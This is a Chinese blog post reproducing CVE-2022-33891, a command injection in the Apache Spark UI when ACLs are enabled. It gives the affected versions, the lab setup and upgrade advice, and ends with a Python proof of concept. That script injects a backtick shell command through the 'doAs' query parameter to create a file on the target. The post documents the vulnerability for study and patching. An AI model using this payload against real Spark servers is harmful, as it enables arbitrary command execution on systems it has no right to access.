当前位置:网站首页>CVE-2022-33891 Apache Spark 命令注入复现
CVE-2022-33891 Apache Spark 命令注入复现
2022-07-30 13:58:00 【wavesky111】
一、漏洞概述
Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Spark是UC Berkeley AMP lab (加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce的通用并行框架,Spark,拥有Hadoop MapReduce所具有的优点;但不同于MapReduce的是——Job中间输出结果可以保存在内存中,从而不再需要读写HDFS,因此Spark能更好地适用于数据挖掘与机器学习等需要迭代的MapReduce的算法。
二、影响版本
- ≤3.0.3
- 3.1.1 - 3.1.2
- 3.2.0 - 3.2.1
三、漏洞原理
Apache Spark UI 可以设置选项 spark.acls.enable 启用 ACL ,使用身份验证过滤器。用以检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL则 HttpSecurityFilter 中的代码路径可以允许用户通过提供任意用户名来执行命令。该功能最终将根据用户输入构建一个 Unix shell 命令并执行它,最终导致任意命令执行。——https://blog.csdn.net/qq_42660246/article/details/125902229
四、漏洞复现环境
OS:Kali Linux
Apache Spark versions:3.0.3(https://archive.apache.org/dist/spark/spark-3.0.3/spark-3.0.3-bin-hadoop3.2.tgz)
五、实验步骤
1.下载Apache Spark 3.0.3,并解压

2.启动 Apache spark 项目,访问页面(这里要启用spark.acls.enable)
./bin/spark-shell --conf spark.acls.enable=true

3.抓包,构造恶意请求,执行命令注入

4.回到“/”目录下,可以看到生成了新文件

六、修复方式
官方已发布新版本修复了该漏洞,请受影响的用户升级前请将资料备份,并进行充分测试到安全版本:https://github.com/apache/spark/tags
七、Poc
import requests
import argparse
import os
def exploit(url):
url = "http://"+url+"/jobs/?doAs=`touch%20/wavesky.txt`"
response = requests.get(url=url)
if(response.status_code == 403):
if(os.access("/wavesky.txt",os.F_OK)):
print("It looks likely vulnerable")
os.system('ls /')
# If you don't want to save this file,please delete '#' in nextline
# os.system('rm -rf /wavesky.txt')
else:
print("It is strong")
else:
print("It is strong")
if __name__ == '__main__':
parameter = argparse.ArgumentParser(description='Poc CVE-2022-33891:')
parameter.add_argument('-file',help='url file',required=False)
parameter.add_argument('-url',help='ip:port',required=False)
para = parameter.parse_args()
if para.url:
exploit(para.url)
exit()
else:
parameter.print_help()Github——Poc/Poc_CVE-2022-33891.py at main · wave-to/Poc · GitHub
边栏推荐
- (HR面试)最常见的面试问题和技巧性答复
- 什么是缺陷分析?一篇文章带你了解,测试工程师必备技能
- 八年测试经验,为何惨遭领导痛批:你写的测试文档还不如刚来的应届生
- mongodb打破原则引入SQL,它到底想要干啥?
- BI-SQL丨WHILE
- 经典测试面试题集—逻辑推理题
- Baijiahao cancels the function of posting documents on the interface: the weight of the plug-in chain is blocked
- Teach you how to write an eye-catching software testing resume, if you don't receive an interview invitation, I will lose
- VLAN实验
- [论文翻译] Unpaired Image-To-Image Translation Using Cycle-Consistent Adversarial Networks
猜你喜欢

华为7年经验的软件测试总监,给所有想转行学软件测试的朋友几点建议

六面蚂蚁金服,抗住面试官的狂轰乱炸,前来面试复盘

关于容器的小案例

打破原则引入SQL,MongoDB到底想要干啥?

A simple change for problem, knapsack problem sets of shell

There is a risk of water ingress in the battery pack tray and there is a potential safety hazard. 52,928 Tang DMs are urgently recalled

LeetCode二叉树系列——145.二叉树的后序遍历

PyQt5快速开发与实战 9.1 使用PyInstaller打包项目生成exe文件

我为何从开发人员转做测试,3年软件测试工程师,带你聊聊这其中的秘辛

还在说软件测试没有中年危机?9年测试工程师惨遭淘汰
随机推荐
吃透Chisel语言.29.Chisel进阶之通信状态机(一)——通信状态机:以闪光灯为例
代码杂谈:从一道面试题看学会Rust的难度
激光雷达点云语义分割论文阅读小结
Web消息推送之SSE
近两年激光雷达运动物体分割论文阅读小结
Understand the Chisel language. 29. Chisel advanced communication state machine (1) - communication state machine: take the flash as an example
LeetCode二叉树系列——145.二叉树的后序遍历
开源工具推荐:高性能计算辅助工具MegPeak
CF603E Pastoral Oddities
业内人士真心话:只会测试没有前途的,我慌了......
数字信号处理课程实验报告(数字信号处理需要什么基础)
CF338E Optimize!
Recommended open source tools: MegPeak, a high-performance computing tool
网站添加能换装可互动的live 2d看板娘
新时代背景下智慧城市的建设与5G技术有何关联
查阅所连接过的WiFi所有信息(含密码)(访问历史所有WiFi连接)
The way of programmers' cultivation: do one's own responsibilities, be clear in reality - lead to the highest realm of pragmatism
CF1677E Tokitsukaze and Beautiful Subsegments
桌面软件开发框架大赏
sql server安装失败怎么办(sql server安装不了怎么办)